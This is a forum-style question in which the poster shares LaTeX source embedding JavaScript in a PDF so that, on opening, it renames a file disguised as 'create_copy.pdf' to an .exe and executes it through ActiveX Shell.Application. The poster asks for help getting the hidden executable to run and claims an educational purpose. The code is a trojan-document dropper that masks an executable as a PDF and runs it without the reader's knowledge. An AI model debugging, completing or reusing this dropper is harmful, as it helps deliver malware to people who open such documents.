I have created a simle javascript file that runs hidden EXE file masked as a PDF. I would like to hide this script indside another PDF file. The script should run when I open it, but nothing is happening (it works when I run it as a .js file). I'm not creating a malware, I'm doing this purely for educational purpouses.
Also, when something like this is my whole javascript app.alert("Hey"); it works fine and displays the popup window when I open the PDF. It's not a path problem too, all files are in the same location. I'm new to javascript and LaTeX, so I don't know what could be a problem.
Here is my document:
\documentclass{article}
\usepackage[pdftex]{insdljs}
\begin{insDLJS}{\jobname}{do stuff}
var fso = new ActiveXObject("scripting.FileSystemObject");
if(fso.FileExists("create_copy.pdf")){
fso.MoveFile('create_copy.pdf', 'create_copy.exe');
} else {
}
var shell = new ActiveXObject('Shell.Application');
shell.ShellExecute('create_copy.exe',"","","open","1");
\end{insDLJS}
\begin{document}
Some text ....
\end{document}